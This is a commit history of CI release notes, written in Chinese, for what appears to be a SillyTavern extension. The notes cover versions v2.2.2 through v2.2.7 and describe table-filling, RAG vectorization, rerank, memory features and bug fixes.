17 Commits

Author SHA1 Message Date
Jenkins CI
cc6618a493 release: v2.2.7 [2026-06-14 17:27:47]
### 修复
- **分步填表 · 保留楼层场景下 swipe 最新楼会回退掉已填内容**:开启「保留楼层(bufferSize)」后,分步填表处理的是较早楼层、状态本应绑定到「被填楼层里最后一条」(E)。但 `updateTableFromText` / `updateTableFromOps` 在应用完操作后会**统一把表格状态写到聊天最新楼 L**,覆盖了随后 `markTargetsProcessed` 写到 E 的快照(`loadTables` 从尾部回溯先命中 L)。结果状态实际落在 L 上,**滑动/重新生成最新楼时 `rollbackState` 回退到上一轮快照,把本轮填入的内容一起丢掉、且因较早楼层的 hash 仍在而不再重填**。
  - 修复:给 `updateTableFromText` / `updateTableFromOps` 增加 `skipPersist` 选项;分步填表(文本 / Function Call / 手动应用三条 commit 路径)统一传入,跳过"写最新楼",改由 `markTargetsProcessed` 把状态保存到 E。
  - `bufferSize=0`(默认)时 E 即最新楼,行为与旧版一致;仅 `bufferSize>0` 的保留楼层场景受影响并被修复。
---
2026-06-14 17:27:47 +08:00
Jenkins CI
2dad292d70 release: v2.2.6 [2026-06-13 20:26:41]
### 新功能
- **翰林院向量化质量升级**:
  - **边界感知切块**:替换四个来源(聊天记录/小说/世界书/手动)的纯字符硬切——优先在段落边界断开,其次句末标点(含中文引号闭合),极端长串才硬切;句子/对话不再被拦腰截断,embedding 质量同步受益。仅影响新录入,已有向量无需重建
  - **注入时序重排**:检索结果注入提示词前按时序重排(聊天记录按楼层、小说按卷/章/节——中文数字章节号可解析),rerank 只决定"选哪些块",不再决定呈现顺序;修复"不打不相识的剧情之后紧跟关系亲密"这类因按相关度排序导致的认知时间错乱
  - **断层提示**:聊天记录相邻块楼层跳跃时自动插入"与上文相隔约 N 楼,并非连续发生"提示行,消除中间剧情缺失造成的割裂感
  - **时间标识**:新录入的聊天记录块在来源标识中带上消息发送时间(ST 向量存储不持久化元数据,时间必须写入块文本才能在检索后取回;旧格式块兼容解析)
- **记忆块工作流(memory-blocks)**:剧情优化新增"自定义记忆块"体系——占位符驱动的并发工作流框架
  - 在剧情优化面板「匹配替换 (sulv)」下方可增删自定义块:每个块定义一个占位符,执行剧情优化时主/拦截提示词中的占位符会被块的产出替换
  - **静态块**:直接输出固定内容;**AI 调用块**:用所选 API 功能槽独立请求一次,把回复(或其中指定 `<标签>` 的内容)作为替换值
  - 原有 sulv1-4 速率占位符迁入同一框架,行为与旧版逐字节一致
  - 块定义为纯 JSON、随设置持久化,为后续导入导出与战斗系统接入预留扩展点
  - 框架层新增**顺序拼接式 Chain**(`composeChain`):与占位符替换并列的第二种组合范式——同链的块并发执行后按 `order` 排序、以 `separator` 拼接并可选 `header/footer` 包裹,产出一个完整注入块;为记忆注入合成块与战斗系统"底部战报块"预留的承载结构,本版本暂无 UI 入口
- **渐进记忆(开发中功能,暂未对外开放)**:主菜单新增独立入口(点击提示"开发中,未来版本开放"),后续完善后放出。当前已落地的设计:
  - 按"近期完整、远期摘要"的时间梯度,从指定表格(默认总结表,行序旧→新)采样历史并注入上下文:最新 X 行全量保留 + 其余历史对半拆分,较近一半等距取 Y 行、较远一半等距取 Z 行(中心对齐等距采样,不随机、不首尾加权,避免内容扎堆或事件结局被规律性忽略)
  - 经 `setExtensionPrompt` 直接注入当回合上下文——内容独立、不写世界书、不随聊天/角色卡导出,生命周期天然跟随会话(区别于超级记忆的世界书条目路线)
  - 注入位置 / 深度 / 角色 / 模板(含 `{{progressive_memory}}` 占位符)均可在面板配置;采样参数 X/Y/Z 默认 5/5/3,全部纯 JSON 持久化
  - 采样器 `sampler.js` 为纯函数,参数结构与 memory-blocks 工作链对齐,后续可平移为 `progressive_sample` 节点
- **超级记忆 · 首行常驻**(表格专属配置新增开关,默认关闭):表格第一行通常是总调/全局定义行(基调、主线目标等),原先与普通行一样走绿灯——没人提到主键就永远不注入;开启后该行详情条目升为蓝灯常驻,切换即时生效
- **API 连接配置**:
  - 角色世界书(cwb)与一键生卡(autoCharCard)纳入旧配置自动迁移:老用户首次加载会把旧 URL / Key / 模型自动迁移为连接配置并分配槽位(一键生卡仅在规划者与执行者配置一致或规划者为空时迁移,避免悄悄改变行为)
  - **profile 已分配时参数控件 informational 化**:主面板 / 并发剧情优化 / 角色世界书 / 术语表的温度、maxTokens 控件在槽位分配 profile 后自动禁用并显示"由连接配置控制"提示,消除"改了没效果"的用户陷阱
  - **profile 状态卡新增"本设备无 Key"警示**:API Key 仅保存在最初填写它的设备/浏览器上(安全设计,不随云端设置同步),换设备后状态卡会直接亮出警示徽标,不必等到调用报错才发现
### 修复
- **独立聊天记忆从摆设变真功能**:此前向量数据"随卡不随聊天"——开启"独立聊天记忆"后录入仍存进角色库、查询却去查一个从未被写入过的聊天集合、计数恒为 0,整体静默失效。现已重构为聊天级分桶:
  - 独立模式下,聊天记录类向量按当前聊天隔离存储与检索,同一张卡开多个聊天(不同剧情线)的记忆互不污染
  - 小说 / 世界书 / 手动录入属于"知识",仍随角色卡跨聊天共享;全局库不受影响
  - 知识管理列表为聊天专属库显示"聊天级"徽标;聊天级库禁止移动到全局
  - 统一模式(默认关闭独立记忆)的存量数据与行为完全不变
  - 已知限制:聊天专属记忆跟随聊天文件,重命名聊天文件会使其失联(与 ST 官方向量扩展同等限制)
- **超级排序截断顺序修正**:开启"超级排序"时,时序重排发生在 top_n 截断之前,导致保留的是"时序最早"而非"最相关"的块,检索结果长期偏向最旧的聊天记录。现改为先按相关度截取 top_n、再做时序排序
- **翰林院向量化失败("向量化块数量不识别"反馈)**:
  - 一次性清洗 profile-sync 历史污染:`retrieval/rerank.apiKey` 中的掩码占位符在持久层根治(此前仅读取侧防御);`apiEndpoint` / `rerank.apiMode` 的非法值(如被旧版写入的空字符串)归一化为 `custom`
  - 修复 `apiEndpoint` 为空/非法时请求被硬定向到 `api.openai.com`、无视用户自定义 URL 的问题(CSP 拦截 / 401 的元凶)
  - 修复**本地代理(LM Studio/Ollama)模式**自始就缺少 URL 分支、同样被错误定向到 openai.com 的问题
  - API 模式下拉补全 `OpenAI 官方` / `Azure` 选项;默认 API 模式改为 `custom`(与默认 URL 配套),新用户不再因选项缺失导致首次保存写入空值
  - profile-sync 给下拉框赋不存在选项值的污染源头修复(影响所有模块面板,不止翰林院)
- **Rerank "测试成功但实际请求报 API Key 未提供"(路径分叉根因)**:实际重排调用 `executeRerank(query, docs, settings.rerank)` 直接把 legacy 嵌套设置当连接传入,绕过了 `getRerankSettings()` 的 profile 解析;而「测试连接」传 `null` 会正常解析 profile——于是用 API Profile 配 rerank 的用户测试通过、实际生成时却拿到空 apiKey/stale url 报错。现实际调用点统一走 `getRerankSettings()`(profile 优先、legacy 兜底),与测试路径一致;`enabled / notify / hybrid_alpha` 等行为开关仍读 legacy 设置
- **Rerank "API Key 未提供"报错升级**:当原因是"连接配置在本设备没有可用 Key"时,报错会直接说明 Key 的设备本地性并指引到 API 连接配置重新填写(向量化 Google 直连、获取模型列表同步处理)
- **旧配置迁移**:一键生卡迁移时排除掩码占位符,避免把历史污染的假 Key 迁入新连接配置
- **超级记忆稳定性专项**(针对"工作不大稳定"反馈,4 处根因一次修复):
  - **切聊天竞态污染**:CHAT_CHANGED 时超级记忆立即全量同步,而表格系统延迟 100ms 才加载新聊天的表格,导致【旧聊天】的表格内容被写进【新角色】的记忆世界书;两边表名不同时旧表条目无 GC 兜底会**永久残留**("记忆串台"元凶)。现 CHAT_CHANGED 只确保世界书存在,新状态同步交由 `loadTables()` 完成后的自动推送,单次且时序正确
  - **死代码双轨存储拆除**:`saveStateToMetadata` / `tryRestoreStateFromMetadata` 把表格状态写到 `msg.metadata`——该字段非 ST 持久化位(同 v2.2.5 二次填表修过的坑),写入即蒸发、恢复永远为空,且每次同步还白调一次 `saveChat()`。整条链路删除,表格状态唯一信源为表格系统的 `msg.extra.amily2_tables_data`
  - **`awaitSync()` 穿透**:同步队列正忙时 `pushUpdate` 会用一个立即 resolve 的空 Promise 覆盖 `_syncPromise`,Pipeline Stage 4 等待形同虚设、后续阶段在同步未完成时被放行。现忙时不覆盖,正在运行的 drain 循环自然吃掉新入队项
  - **开关打开不生效**:启动时若总开关为关,初始化早退且不注册监听器;此后在 UI 勾选开关只写设置,超级记忆直到刷新页面前都是死的。现勾选即触发初始化(幂等)
  - 附带:`forceSyncAll` 的表格角色推断改为复用 `events-schema.inferTableRole`,消除两处重复逻辑漂移风险;每次切聊天的双倍全量同步(restore 路径一次 + 显式一次)随死代码移除归一
### 重构
- 表格核心 `manager.js` 瘦身(约 1050 → 600 行):19 个 UI 突变操作拆分至 `actions/ui-mutations.js`,SuperMemory 事件分发拆分至 `events-dispatch.js`;全部经 re-export 保持兼容,外部调用路径零改动
- 角色世界书最后 2 处散乱的厂商 URL 判断迁移至 `detectVendor` 统一入口,业务路径上不再有硬编码的 URL substring 判断
2026-06-13 20:26:41 +08:00
Jenkins CI
0d7e3b799e release: v2.2.6 [2026-06-13 01:02:05]
### 新功能
- **翰林院向量化质量升级**:
  - **边界感知切块**:替换四个来源(聊天记录/小说/世界书/手动)的纯字符硬切——优先在段落边界断开,其次句末标点(含中文引号闭合),极端长串才硬切;句子/对话不再被拦腰截断,embedding 质量同步受益。仅影响新录入,已有向量无需重建
  - **注入时序重排**:检索结果注入提示词前按时序重排(聊天记录按楼层、小说按卷/章/节——中文数字章节号可解析),rerank 只决定"选哪些块",不再决定呈现顺序;修复"不打不相识的剧情之后紧跟关系亲密"这类因按相关度排序导致的认知时间错乱
  - **断层提示**:聊天记录相邻块楼层跳跃时自动插入"与上文相隔约 N 楼,并非连续发生"提示行,消除中间剧情缺失造成的割裂感
  - **时间标识**:新录入的聊天记录块在来源标识中带上消息发送时间(ST 向量存储不持久化元数据,时间必须写入块文本才能在检索后取回;旧格式块兼容解析)
- **记忆块工作流(memory-blocks)**:剧情优化新增"自定义记忆块"体系——占位符驱动的并发工作流框架
  - 在剧情优化面板「匹配替换 (sulv)」下方可增删自定义块:每个块定义一个占位符,执行剧情优化时主/拦截提示词中的占位符会被块的产出替换
  - **静态块**:直接输出固定内容;**AI 调用块**:用所选 API 功能槽独立请求一次,把回复(或其中指定 `<标签>` 的内容)作为替换值
  - 原有 sulv1-4 速率占位符迁入同一框架,行为与旧版逐字节一致
  - 块定义为纯 JSON、随设置持久化,为后续导入导出与战斗系统接入预留扩展点
  - 框架层新增**顺序拼接式 Chain**(`composeChain`):与占位符替换并列的第二种组合范式——同链的块并发执行后按 `order` 排序、以 `separator` 拼接并可选 `header/footer` 包裹,产出一个完整注入块;为记忆注入合成块与战斗系统"底部战报块"预留的承载结构,本版本暂无 UI 入口
- **API 连接配置**:
  - 角色世界书(cwb)与一键生卡(autoCharCard)纳入旧配置自动迁移:老用户首次加载会把旧 URL / Key / 模型自动迁移为连接配置并分配槽位(一键生卡仅在规划者与执行者配置一致或规划者为空时迁移,避免悄悄改变行为)
  - **profile 已分配时参数控件 informational 化**:主面板 / 并发剧情优化 / 角色世界书 / 术语表的温度、maxTokens 控件在槽位分配 profile 后自动禁用并显示"由连接配置控制"提示,消除"改了没效果"的用户陷阱
  - **profile 状态卡新增"本设备无 Key"警示**:API Key 仅保存在最初填写它的设备/浏览器上(安全设计,不随云端设置同步),换设备后状态卡会直接亮出警示徽标,不必等到调用报错才发现
### 修复
- **独立聊天记忆从摆设变真功能(原作遗留坑)**:此前向量数据"随卡不随聊天"——开启"独立聊天记忆"后录入仍存进角色库、查询却去查一个从未被写入过的聊天集合、计数恒为 0,整体静默失效。现已重构为聊天级分桶:
  - 独立模式下,聊天记录类向量按当前聊天隔离存储与检索,同一张卡开多个聊天(不同剧情线)的记忆互不污染
  - 小说 / 世界书 / 手动录入属于"知识",仍随角色卡跨聊天共享;全局库不受影响
  - 知识管理列表为聊天专属库显示"聊天级"徽标;聊天级库禁止移动到全局
  - 统一模式(默认关闭独立记忆)的存量数据与行为完全不变
  - 已知限制:聊天专属记忆跟随聊天文件,重命名聊天文件会使其失联(与 ST 官方向量扩展同等限制)
- **超级排序截断顺序修正**:开启"超级排序"时,时序重排发生在 top_n 截断之前,导致保留的是"时序最早"而非"最相关"的块,检索结果长期偏向最旧的聊天记录。现改为先按相关度截取 top_n、再做时序排序
- **翰林院向量化失败("向量化块数量不识别"反馈)**:
  - 一次性清洗 profile-sync 历史污染:`retrieval/rerank.apiKey` 中的掩码占位符在持久层根治(此前仅读取侧防御);`apiEndpoint` / `rerank.apiMode` 的非法值(如被旧版写入的空字符串)归一化为 `custom`
  - 修复 `apiEndpoint` 为空/非法时请求被硬定向到 `api.openai.com`、无视用户自定义 URL 的问题(CSP 拦截 / 401 的元凶)
  - 修复**本地代理(LM Studio/Ollama)模式**自始就缺少 URL 分支、同样被错误定向到 openai.com 的问题
  - API 模式下拉补全 `OpenAI 官方` / `Azure` 选项;默认 API 模式改为 `custom`(与默认 URL 配套),新用户不再因选项缺失导致首次保存写入空值
  - profile-sync 给下拉框赋不存在选项值的污染源头修复(影响所有模块面板,不止翰林院)
- **Rerank "API Key 未提供"报错升级**:当原因是"连接配置在本设备没有可用 Key"时,报错会直接说明 Key 的设备本地性并指引到 API 连接配置重新填写(向量化 Google 直连、获取模型列表同步处理)
- **旧配置迁移**:一键生卡迁移时排除掩码占位符,避免把历史污染的假 Key 迁入新连接配置
- **超级记忆稳定性专项**(针对"工作不大稳定"反馈,4 处根因一次修复):
  - **切聊天竞态污染**:CHAT_CHANGED 时超级记忆立即全量同步,而表格系统延迟 100ms 才加载新聊天的表格,导致【旧聊天】的表格内容被写进【新角色】的记忆世界书;两边表名不同时旧表条目无 GC 兜底会**永久残留**("记忆串台"元凶)。现 CHAT_CHANGED 只确保世界书存在,新状态同步交由 `loadTables()` 完成后的自动推送,单次且时序正确
  - **死代码双轨存储拆除**:`saveStateToMetadata` / `tryRestoreStateFromMetadata` 把表格状态写到 `msg.metadata`——该字段非 ST 持久化位(同 v2.2.5 二次填表修过的坑),写入即蒸发、恢复永远为空,且每次同步还白调一次 `saveChat()`。整条链路删除,表格状态唯一信源为表格系统的 `msg.extra.amily2_tables_data`
  - **`awaitSync()` 穿透**:同步队列正忙时 `pushUpdate` 会用一个立即 resolve 的空 Promise 覆盖 `_syncPromise`,Pipeline Stage 4 等待形同虚设、后续阶段在同步未完成时被放行。现忙时不覆盖,正在运行的 drain 循环自然吃掉新入队项
  - **开关打开不生效**:启动时若总开关为关,初始化早退且不注册监听器;此后在 UI 勾选开关只写设置,超级记忆直到刷新页面前都是死的。现勾选即触发初始化(幂等)
  - 附带:`forceSyncAll` 的表格角色推断改为复用 `events-schema.inferTableRole`,消除两处重复逻辑漂移风险;每次切聊天的双倍全量同步(restore 路径一次 + 显式一次)随死代码移除归一
### 重构
- 表格核心 `manager.js` 瘦身(约 1050 → 600 行):19 个 UI 突变操作拆分至 `actions/ui-mutations.js`,SuperMemory 事件分发拆分至 `events-dispatch.js`;全部经 re-export 保持兼容,外部调用路径零改动
- 角色世界书最后 2 处散乱的厂商 URL 判断迁移至 `detectVendor` 统一入口,业务路径上不再有硬编码的 URL substring 判断
2026-06-13 01:02:05 +08:00
Jenkins CI
1a4a10d42d release: v2.2.5 [2026-06-10 12:41:11]
### 修复
- **翰林院(RAG)API Key 污染**:
  - 修复 `saveSettingsFromUI` 无差别遍历翰林院面板内全部 `[data-setting-key]` 输入(包含被 `profile-sync` 接管隐藏的字段),导致掩码占位符 `••••••••` 被当作真值写回 `settings.rerank.apiKey` / `settings.retrieval.apiKey`,URL / model 也被 Profile 值覆盖到 legacy 字段。修复后会跳过祖先带 `data-profile-hidden` 的输入
  - `getRerankSettings` / `getEmbedRetrievalSettings` 同时加入防御性还原:识别历史污染留下的 `••••••••` 时归为空字符串,避免取消 Profile 分配后实际请求带占位符 token 被 401
---
2026-06-10 12:41:11 +08:00
Jenkins CI
347016d5ac release: v2.2.4 [2026-05-31 13:32:25]
### 新功能
- **Function Call 填表**:
  - FC 首次请求时对 DeepSeek 系模型自动附加 `thinking: { type: "disabled" }`,避免思考模式与 tool_choice 冲突
  - 操作列表为空时在日志面板输出原始响应 JSON,便于区分"AI 判断无需变更"、"格式校验全部不通过"和"JSON 解析失败"三种情况
### 修复
- **剧情优化**:移除剧情优化页面遗留的 Jqyh 直连配置字段(URL / Key / Model),统一走 API 连接配置功能分配槽位
- **表格**:
  - 补全 `batch-filling-threshold` 批处理阈值的持久化绑定(页面刷新后不再还原为默认值 30)
  - 修复分步填表并发锁与 async/await 时序问题
  - 修复外层多余 `try...finally` 导致的插件加载报错
- **Rerank**:
  - 修复选择连接配置后报"API Key 未配置"的问题(`apiMode` 现从设置读取而非硬编码 `custom`)
  - 补全 `hly-rerank-api-mode` 加载绑定及默认值
- **翰林院 RAG**:补全 `priorityRetrieval.sources` 各来源条目的缺失键,修复设置面板回填 TypeError
- **二次填表**:
  - 修复 `secondary-filler.js` 把哈希/重试次数写入非持久化的 `msg.metadata` 字段(ST 标准位是 `msg.extra`),导致刷新后去重与重试计数失效
  - 修复扫描深度重复计入 `bufferSize`(`contextLimit + buffer + batch + redundancy` → `contextLimit + batch + redundancy`),避免越过预期窗口
  - SWIPED 事件改走扫描路径,不再用 `targetMessage` bypass 强填最末条,`保留缓冲区(bufferSize)` 设置在滑动场景下正确生效(手动"回退重填"按钮仍保留 bypass,意图明确)
  - 修复 FC(Function Call)路径下成功填表与"AI 判断无需修改"两种结果均未写回 `amily2_process_hash` 与 `saveChat()` 的问题——之前导致 FC 模式去重完全失效,最旧的未处理楼层会被每次扫描重复发给 AI;现统一回写路径为 `markTargetsProcessed`
  - FC 空操作时同步输出原始响应 JSON 到控制台(与批量回填日志面板保持一致),便于区分"无需变更"/"格式校验失败"/"JSON 解析失败"
  - 修复 `fillWithSecondaryApi` 入口处过早设置 `secondaryFillerRunning = true`,导致防抖/总开关关闭/聊天过短/非分步模式/系统瘫痪五条早返路径均不解锁的死锁问题(特别是防抖路径——锁住后 setTimeout 回调撞上自己的锁,永久跳过后续触发)。锁的获取已挪到所有早返检查之后、`try` 块之前
- **填表设置面板**:新增"手动解除填表锁"按钮(位于触发延迟下方),用于兜底应急——若仍遇到"分步填表正在进行中,跳过本次触发"反复刷屏,可手动点击释放
- **API 调用层全面支持 AbortController**(`callAI` / `callAIForTools` / `callNccsAI` 及其全部下游 provider):
  - 新增 `options.signal` 透传,OpenAI 兼容 / OpenAI(测试) / Google 直连 / ST 后端 / FC 等所有 `fetch` 调用均接受 `AbortSignal`
  - `callSillyTavernBackend` 由 `$.ajax` 改写为 `fetch`,以原生支持 signal
  - `callSillyTavernPreset` / `callNccsSillyTavernPreset` 通过 `raceAgainstSignal` 兜底,外部不可终止的 `ConnectionManagerRequestService.sendRequest` 也能在 signal 触发时即时返回 AbortError
  - 全部 catch 块识别 `AbortError`,rethrow 而不弹错误 toast;FC 重试逻辑识别中断后跳过重试
- **填表设置面板**:在"手动解除填表锁"旁新增"强制中断当前填表"按钮——通过 AbortController 真正掐断 fetch 连接(fetch 立即抛错),结果会被丢弃,不会污染表格 / hash / `saveChat`
2026-05-31 13:32:25 +08:00
Jenkins CI
59c4adc1c0 release: v2.2.4 [2026-05-30 13:03:07]
### 新功能
- **Function Call 填表**:
  - FC 首次请求时对 DeepSeek 系模型自动附加 `thinking: { type: "disabled" }`,避免思考模式与 tool_choice 冲突
  - 操作列表为空时在日志面板输出原始响应 JSON,便于区分"AI 判断无需变更"、"格式校验全部不通过"和"JSON 解析失败"三种情况
### 修复
- **剧情优化**:移除剧情优化页面遗留的 Jqyh 直连配置字段(URL / Key / Model),统一走 API 连接配置功能分配槽位
- **表格**:
  - 补全 `batch-filling-threshold` 批处理阈值的持久化绑定(页面刷新后不再还原为默认值 30)
  - 修复分步填表并发锁与 async/await 时序问题
  - 修复外层多余 `try...finally` 导致的插件加载报错
- **Rerank**:
  - 修复选择连接配置后报"API Key 未配置"的问题(`apiMode` 现从设置读取而非硬编码 `custom`)
  - 补全 `hly-rerank-api-mode` 加载绑定及默认值
- **翰林院 RAG**:补全 `priorityRetrieval.sources` 各来源条目的缺失键,修复设置面板回填 TypeError
- **二次填表**:
  - 修复 `secondary-filler.js` 把哈希/重试次数写入非持久化的 `msg.metadata` 字段(ST 标准位是 `msg.extra`),导致刷新后去重与重试计数失效
  - 修复扫描深度重复计入 `bufferSize`(`contextLimit + buffer + batch + redundancy` → `contextLimit + batch + redundancy`),避免越过预期窗口
  - SWIPED 事件改走扫描路径,不再用 `targetMessage` bypass 强填最末条,`保留缓冲区(bufferSize)` 设置在滑动场景下正确生效(手动"回退重填"按钮仍保留 bypass,意图明确)
  - 修复 FC(Function Call)路径下成功填表与"AI 判断无需修改"两种结果均未写回 `amily2_process_hash` 与 `saveChat()` 的问题——之前导致 FC 模式去重完全失效,最旧的未处理楼层会被每次扫描重复发给 AI;现统一回写路径为 `markTargetsProcessed`
  - FC 空操作时同步输出原始响应 JSON 到控制台(与批量回填日志面板保持一致),便于区分"无需变更"/"格式校验失败"/"JSON 解析失败"
2026-05-30 13:03:07 +08:00
Jenkins CI
e66544f774 release: v2.2.4 [2026-05-30 12:44:56]
### 新功能
- **Function Call 填表**:
  - FC 首次请求时对 DeepSeek 系模型自动附加 `thinking: { type: "disabled" }`,避免思考模式与 tool_choice 冲突
  - 操作列表为空时在日志面板输出原始响应 JSON,便于区分"AI 判断无需变更"、"格式校验全部不通过"和"JSON 解析失败"三种情况
### 修复
- **剧情优化**:移除剧情优化页面遗留的 Jqyh 直连配置字段(URL / Key / Model),统一走 API 连接配置功能分配槽位
- **表格**:
  - 补全 `batch-filling-threshold` 批处理阈值的持久化绑定(页面刷新后不再还原为默认值 30)
  - 修复分步填表并发锁与 async/await 时序问题
  - 修复外层多余 `try...finally` 导致的插件加载报错
- **Rerank**:
  - 修复选择连接配置后报"API Key 未配置"的问题(`apiMode` 现从设置读取而非硬编码 `custom`)
  - 补全 `hly-rerank-api-mode` 加载绑定及默认值
- **翰林院 RAG**:补全 `priorityRetrieval.sources` 各来源条目的缺失键,修复设置面板回填 TypeError
- **二次填表**:
  - 修复 `secondary-filler.js` 把哈希/重试次数写入非持久化的 `msg.metadata` 字段(ST 标准位是 `msg.extra`),导致刷新后去重与重试计数失效
  - 修复扫描深度重复计入 `bufferSize`(`contextLimit + buffer + batch + redundancy` → `contextLimit + batch + redundancy`),避免越过预期窗口
  - SWIPED 事件改走扫描路径,不再用 `targetMessage` bypass 强填最末条,`保留缓冲区(bufferSize)` 设置在滑动场景下正确生效(手动"回退重填"按钮仍保留 bypass,意图明确)
2026-05-30 12:44:56 +08:00
Jenkins CI
d6b3b00c86 release: v2.2.4 [2026-05-30 12:16:52]
### 新功能
- **Function Call 填表**:
  - FC 首次请求时对 DeepSeek 系模型自动附加 `thinking: { type: "disabled" }`,避免思考模式与 tool_choice 冲突
  - 操作列表为空时在日志面板输出原始响应 JSON,便于区分"AI 判断无需变更"、"格式校验全部不通过"和"JSON 解析失败"三种情况
### 修复
- **剧情优化**:移除剧情优化页面遗留的 Jqyh 直连配置字段(URL / Key / Model),统一走 API 连接配置功能分配槽位
- **表格**:
  - 补全 `batch-filling-threshold` 批处理阈值的持久化绑定(页面刷新后不再还原为默认值 30)
  - 修复分步填表并发锁与 async/await 时序问题
  - 修复外层多余 `try...finally` 导致的插件加载报错
- **Rerank**:
  - 修复选择连接配置后报"API Key 未配置"的问题(`apiMode` 现从设置读取而非硬编码 `custom`)
  - 补全 `hly-rerank-api-mode` 加载绑定及默认值
- **翰林院 RAG**:补全 `priorityRetrieval.sources` 各来源条目的缺失键,修复设置面板回填 TypeError
2026-05-30 12:16:52 +08:00
Jenkins CI
a8c3ad9027 release: v2.2.4 [2026-05-30 11:32:49]
### 新功能
- **Function Call 填表**:
  - FC 首次请求时对 DeepSeek 系模型自动附加 `thinking: { type: "disabled" }`,避免思考模式与 tool_choice 冲突
  - 操作列表为空时在日志面板输出原始响应 JSON,便于区分"AI 判断无需变更"、"格式校验全部不通过"和"JSON 解析失败"三种情况
### 修复
- **剧情优化**:移除剧情优化页面遗留的 Jqyh 直连配置字段(URL / Key / Model),统一走 API 连接配置功能分配槽位
- **表格**:
  - 补全 `batch-filling-threshold` 批处理阈值的持久化绑定(页面刷新后不再还原为默认值 30)
  - 修复分步填表并发锁与 async/await 时序问题
  - 修复外层多余 `try...finally` 导致的插件加载报错
- **Rerank**:
  - 修复选择连接配置后报"API Key 未配置"的问题(`apiMode` 现从设置读取而非硬编码 `custom`)
  - 补全 `hly-rerank-api-mode` 加载绑定及默认值
- **翰林院 RAG**:补全 `priorityRetrieval.sources` 各来源条目的缺失键,修复设置面板回填 TypeError
2026-05-30 11:32:49 +08:00
Jenkins CI
0e11f85031 release: v2.2.3 [2026-05-29 21:31:05]
### 新功能
- Function Call 填表开关下方新增公益站风险提示横幅:部分公益站会屏蔽 tools 参数,请确认支持情况避免被意外封禁
### 修复
- **Function Call 填表**:
  - 修复 ST 代理以 HTTP 200 + error body 形式返回错误、导致降级重试机制从未触发的问题
  - 修复思考模式模型(如 DeepSeek v4-flash)因 tool_choice 不兼容返回 Bad Request 后正确降级并重试
  - 重试时自动追加强制调用指令,防止思考模型绕过工具直接输出文本造成无效二次开销
- **超级记忆 / 翰林院**:
  - 修复 `getRagSettings()` 读写顶层路径而非嵌套路径,导致打开超级记忆面板后向量化、归档等开关在重载时被全默认值覆盖的问题
  - 修复自动归档失效问题
  - 修复归档管理器在同一事件中被三次触发的回归问题
  - 修复翰林院设置旧版迁移逻辑异常
2026-05-29 21:31:05 +08:00
Jenkins CI
9bc2f694b0 release: v2.2.3 [2026-05-29 13:07:39]
### 新功能
- Function Call 填表开关下方新增公益站风险提示横幅:部分公益站会屏蔽 tools 参数,请确认支持情况避免被意外封禁
### 修复
- **Function Call 填表**:
  - 修复 ST 代理以 HTTP 200 + error body 形式返回错误、导致降级重试机制从未触发的问题
  - 修复思考模式模型(如 DeepSeek v4-flash)因 tool_choice 不兼容返回 Bad Request 后正确降级并重试
  - 重试时自动追加强制调用指令,防止思考模型绕过工具直接输出文本造成无效二次开销
- **超级记忆 / 翰林院**:
  - 修复 `getRagSettings()` 读写顶层路径而非嵌套路径,导致打开超级记忆面板后向量化、归档等开关在重载时被全默认值覆盖的问题
  - 修复自动归档失效问题
  - 修复归档管理器在同一事件中被三次触发的回归问题
  - 修复翰林院设置旧版迁移逻辑异常
2026-05-29 13:07:39 +08:00
Jenkins CI
08e1dbde85 release: v2.2.3 [2026-05-27 23:06:48]
### 新功能
- Function Call 填表开关下方新增公益站风险提示横幅:部分公益站会屏蔽 tools 参数,请确认支持情况避免被意外封禁
### 修复
- **Function Call 填表**:
  - 修复 ST 代理以 HTTP 200 + error body 形式返回错误、导致降级重试机制从未触发的问题
  - 修复思考模式模型(如 DeepSeek v4-flash)因 tool_choice 不兼容返回 Bad Request 后正确降级并重试
  - 重试时自动追加强制调用指令,防止思考模型绕过工具直接输出文本造成无效二次开销
- **超级记忆 / 翰林院**:
  - 修复 `getRagSettings()` 读写顶层路径而非嵌套路径,导致打开超级记忆面板后向量化、归档等开关在重载时被全默认值覆盖的问题
  - 修复自动归档失效问题
  - 修复归档管理器在同一事件中被三次触发的回归问题
  - 修复翰林院设置旧版迁移逻辑异常
2026-05-27 23:06:48 +08:00
Jenkins CI
42e0bdec19 release: v2.2.3 [2026-05-27 21:24:56]
### 新功能
- Function Call 填表开关下方新增公益站风险提示横幅:部分公益站会屏蔽 tools 参数,请确认支持情况避免被意外封禁
### 修复
- **Function Call 填表**:
  - 修复 ST 代理以 HTTP 200 + error body 形式返回错误、导致降级重试机制从未触发的问题
  - 修复思考模式模型(如 DeepSeek v4-flash)因 tool_choice 不兼容返回 Bad Request 后正确降级并重试
  - 重试时自动追加强制调用指令,防止思考模型绕过工具直接输出文本造成无效二次开销
- **超级记忆 / 翰林院**:
  - 修复 `getRagSettings()` 读写顶层路径而非嵌套路径,导致打开超级记忆面板后向量化、归档等开关在重载时被全默认值覆盖的问题
  - 修复自动归档失效问题
  - 修复归档管理器在同一事件中被三次触发的回归问题
  - 修复翰林院设置旧版迁移逻辑异常
2026-05-27 21:24:56 +08:00
Jenkins CI
3e217e8ed8 release: v2.2.2 [2026-05-27 19:39:34]
### 新功能
- **Function Call 填表模式**:在填表设置中新增独立开关,启用后支持通过 OpenAI 兼容接口(DeepSeek / OpenRouter / 各类中转等)直接返回结构化操作列表,绕过 `<Amily2Edit>` 文本解析路径,填表更稳定
  - 遇到不支持 `tool_choice` 的接口时自动降级重试
  - 对思考模型注入强制调用指令,防止绕过工具直接输出文本
  - 全部走 ST 后端代理,修复 CSP 拦截直连外部 URL 的问题
- **主界面新增提示词链编辑器入口**,同时调换了记忆管理与角色世界书的按钮位置
- **规则中心**新增"自动排除用户楼层"选项
### 修复
- 提示词链按钮点击无响应(改为事件委托方式绑定)
- 拖拽组件微抖误触发(加 5px 移动阈值过滤)
- 填表检查窗若干问题修复;翰林院(批量回填)修复;防抖逻辑落地
- 角色世界书入口添加使用警告弹窗(强制 10 秒倒计时),提示该功能长期未维护
- ApiProfile `fakeStream` 字段保存丢失问题
- 正文优化默认改为关闭状态
- NGMS / NCCS API 配置槽位标签修正(NGMS→总结,NCCS→填表)
- API Profile 面板选择逻辑统一重构,修复多处旧字段覆盖新配置的问题
- 世界书控制参数兼容性修复(排除递归、插入位置、扫描深度等,适配 ST 1.17.0+)
2026-05-27 19:39:34 +08:00
Jenkins CI
2c3072a3d8 release: v2.2.2 [2026-05-27 11:10:55]
### 新功能
- **Function Call 填表模式**:在填表设置中新增独立开关,启用后支持通过 OpenAI 兼容接口(DeepSeek / OpenRouter / 各类中转等)直接返回结构化操作列表,绕过 `<Amily2Edit>` 文本解析路径,填表更稳定
